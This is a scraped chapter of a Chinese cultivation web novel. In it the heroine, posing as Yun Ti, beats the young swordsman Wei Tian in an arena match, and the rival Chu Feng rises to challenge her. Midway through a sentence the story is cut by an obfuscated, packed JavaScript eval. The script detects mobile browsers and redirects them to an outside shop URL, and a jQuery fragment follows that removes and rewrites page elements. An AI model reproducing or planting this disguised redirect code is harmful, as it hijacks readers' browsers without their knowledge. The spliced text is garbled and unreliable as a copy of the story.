46. 四十六 三招之内
作品:《整个修真界都在陪我演反派》 涂山媞打量着面前的修士。
少年身着归一宗普通的弟子制袍,脑后马尾高高束起,脚下御着一柄薄如蝉翼的长剑。
几乎是在她刚说完话后的瞬间便一跃而上,想必是一直在擂台下蓄势待发,等待时机。
那少年修士面上还未脱去稚气,看着年纪甚小。此刻立于台上,周身洋溢着纯粹的热切,望向涂山媞的眼中盛满了亮晶晶的崇敬。
少年执剑行礼,嗓音清亮,却还带着一丝因紧张而产生的微颤:“弟子魏添,此番上台并非想要挑战云师姐,只是想与云师姐切磋剑法,望云师姐成全!”
说完这番话,魏添又腼腆地挠了挠额角,鼓起勇气笑着向云媞道:“若我赢了师姐,无需师姐放弃亲传之位!”
“只求……”他顿了顿,又低下了头,深深俯身,声音却低了下去:“只求师姐往后,能偶尔同我一起练剑论道!”
说着,少年的脑袋越来越低垂,耳廓已红得仿佛归一山门内每日都看得到的夕阳。
魏添话音刚落,涂山媞还未来得及说话,台下的看台席上又是一阵哗然。
“这小子搞什么?”
“???等会,我不是来看比试的吗?这是哪?”
“哼!荒谬!不战而先示弱,我天剑峰什么时候允许此等修士入山了!”
“大家先别急,说不定这只是一种战术,先通过言语迷惑对方,从而使其露出破绽,再一击必中也未尝不可能啊。”
“可是……他好勇猛,竟选择在此等场合表露心意……那我是不是也能和师姐……”
“你不能,师姐已经拒绝你多次了,再说便是骚扰。”
涂山媞望着面前的少年,因低头而露出了脑后的红色发带,唇角的弧度又往上勾了勾:“魏添?”
听到涂山媞喊自己名字而猝不及防抬头的少年,撞进了一双满是张扬明媚的狐眸中,他听到那张朱唇微启:
“三招。”
“只要你能在我剑下过三招,往后你若想同我切磋,可随时传音于我。”
涂山媞这番嚣张至极的说辞自是又引起了看台上众弟子们的热议,但魏添本人脑中却始终回荡着那句“可随时传音于我”。
他闻言便迫不及待地答应,仿佛生怕涂山媞反悔:“一言为定!”
语毕,涂山媞不再多言。左右歪了歪头,往后退了数步,手中的“破春”依然是那副朴实无华的模样:“出剑吧。”
魏添见状,面上的腼腆之色霎时褪尽,眸中燃起昂扬战意,他高举手中长剑,朗声喝道:“此招名为——”
“风雨欲来——”
随着他的呐喊,那柄薄如蝉翼的长剑,已化作一道寒光,迅速向涂山媞的方向刺去!
长剑破空而来,剑刃周身却好似划过了一片无形水面,竟凭空泛起了一片涟漪波纹!
而就在此刻!那长剑却凭空消失了,随着那柄长剑消失的,还有魏添。
电光火石之间,手持长剑的魏添竟从几丈外,突然出现在了离涂山媞近在迟尺的位置!
而涂山媞从魏添出剑后便始终静立原地,未曾移动分毫。魏添望着涂山媞越来越近的脸庞,面上露出一丝喜色,要成了!
而就在此时,异变突生!
涂山媞也从原地消失了。
魏添瞳孔骤缩,台下的大部分弟子的面上都露出了一丝茫然之色。
他们甚至没看到涂山媞是如何移动的,用了何种身法,更遑论招式。
魏添刺出的长剑顿时失去了目标,他的脑中还未来得及闪过什么念头,下一刻,便先感受到了脖颈处那柄朴实无华的木剑。
是“破春”。
方才登台时的喜悦与兴奋已荡然无存,待回过神来时,整个后背已被涔涔冷汗湿透。
涂山媞不知何时已如鬼魅般到他身后,手中举着的木剑就那样轻飘飘地架在了自己的脖颈之上。
魏添听到身后响起了一道慢吞吞的声音,声音堪称温和,语气里却满是漫不经心:“你很快。”
“但还不够快。”
好在脖颈之上的木剑放了片刻便被涂山媞收了回去。
魏添面色惨白,他恭敬转过身,手持长剑深深行一礼,言语中再无方才的兴奋:“魏添受教了,多谢云师姐指点。”
涂山媞面上倒是露出一丝兴味,好奇道:“你方才的招式叫什么?”
魏添闻言露出一丝苦笑,方才听云媞师姐说只要能过三招即可,他还窃喜,却没想到……
他竟连自己引以为傲的招式都没来得及念完,便败了。
思几次,魏添面上露出一抹惭愧:“此招名为——‘风雨欲来霜满楼’,取自我偶然读得的一本凡间诗集【注】,那首诗精妙绝伦,是我的剑法辱没了它。”
“非也,”涂山媞闻言摇了摇头:“以风雨为载,确是很有意思的招式,继续精进,定还可以更快。”
魏添听闻此话,面露坚毅之色,掷地有声道:“我定会日日修习,待有所长进,还望云师姐能再赐教!”
“好啊。”涂山媞上挑的眼尾微微一弯,没有半点推辞地应了下来。
魏添抬头偷瞄了一眼面前的少女,的耳尖又微微泛起了红,潦草地行了个礼就打算从擂台下去,却被叫住了。
“慢着——”慢吞吞的声音再次响起,:“输了便要在台上报出名号,高呼三声——‘我输了,以后再也不敢自不量力’,想抵赖?”
完全将此事忘了个干净的魏添顿时灰溜溜地小跑回到台中,清亮的声音经过法术放大响彻整个擂台以及看台上的每一个角落:
“我,魏添,输给了云师姐——以后再也不敢自不量力——”
“我,魏添,输给了云师姐——以后再也不敢自不量力——”
“我,魏添,输给了云师姐——以后再也不敢自不量力——”
魏添喊完,面上却丝毫不见不忿,反而又大声补了一句:“但我日后还是会来找云师姐切磋剑法的——”
说完便如同来时那般,御剑以极快的速度从擂台上离去。
涂山媞连一招都没用上,便赢下了第一场比试。
她手握“破春”,面上仍是那副张扬又明媚的笑容。
环顾四周,漂亮的朱唇轻启,嘴里依
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16997651|189039||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
旧是那句:“还有谁?”
看台之上已是一片寂静无声。
在座的弟子大多都是剑修,自然能看得出方才魏添想要速战速决,一开始便使出了自己最强的一招。
而那招“风雨欲来霜满楼”,作为魏添引以为傲的招式,绝非像涂山媞口中那般“普通”。
若换此时场中任何一个弟子来,便是修为高出几阶,也定不可能如涂山媞那般轻易的避开。
此刻场中几乎所有人心中都浮出了一个问题——
云媞,到底是何方神圣?
她那鬼魅般的身法,为何从未听说过?
涂山媞与魏添的一战,令很多修为普通但跃跃欲试的弟子们熄了心思。
他们本欲上去战上一战,能与天剑峰的亲传弟子一战,纵使最后输了也没什么大不了的,但看过了魏添此番攻擂,若换成他们上去,恐怕下来得更快,还是别上去丢人了。
涂山媞看着周围许多终于闭紧了嘴巴的弟子们,面上露出一抹满意之色。
很好,她要的效果达到了。
经此一战,应该可以令很多想来凑番热闹的弟子打退堂鼓。
虽说她放话要摆三日擂,但她可没打算真打满三日,她又不是傻子,莫非她不知道车轮战越打到后面变数越大?
魏添下台后,在看台上一直观望的几个人也终于纯纯欲动。
楚枫也是今日一大早便在擂台下蹲守涂山媞的那群人中的一员,若要说此次涂山媞摆擂谁是最渴望击败涂山媞的人,除了他再无其他。
他在归一宗习剑数年,曾多次向霜凌长老自荐成为其亲传弟子,却皆被长老一句:“你我无缘。”轻飘飘地回绝。
他本以为,是霜凌长老收弟子的门槛高,若论实力,他确实比不上首席。
于是他发狠勤修苦练,势要让霜凌长老承认自己。期间并非没有其他长老欲收他为亲传,皆被他婉拒。
成为霜凌长老的亲传弟子,早已成了楚枫的执念。
而踌躇满志,苦修了一年又一年的楚枫,却万万没想到,变故往往就来得如此猝不及防。
他梦寐以求的位置,竟被一个初来乍到,瞧着连握剑都生涩无比,只会举着剑四处乱砍的小丫头,那么轻而易举地拿到了。
知道这个消息的那日,他一夜未眠,只在自己的小院中,沉默地练了一整晚的剑。
后来听闻王家发现一处秘境,那个小丫头也要去,他便求了长老,打败了其余想要去秘境的弟子,获得了那个名额。
登上飞舟的那夜,他便迫不及待地寻到她,想着若是能直接与她比一场……
思绪在此刻飘回,楚枫望着台上那满脸张扬的少女,心中复杂万千。
秘境一行,他的心态已发生了翻天覆地的变化,但与她一战,仍是他心中所想!
楚枫不再观望,握紧手中长剑,缓缓地站起身。
然而,就在此时——
擂台之外,却突然插进来一道跋扈至极的声音:
“我若是打败了你们的亲传,那你们归一宗的弟子以后见了我,岂不得都乖乖低着头绕道?”

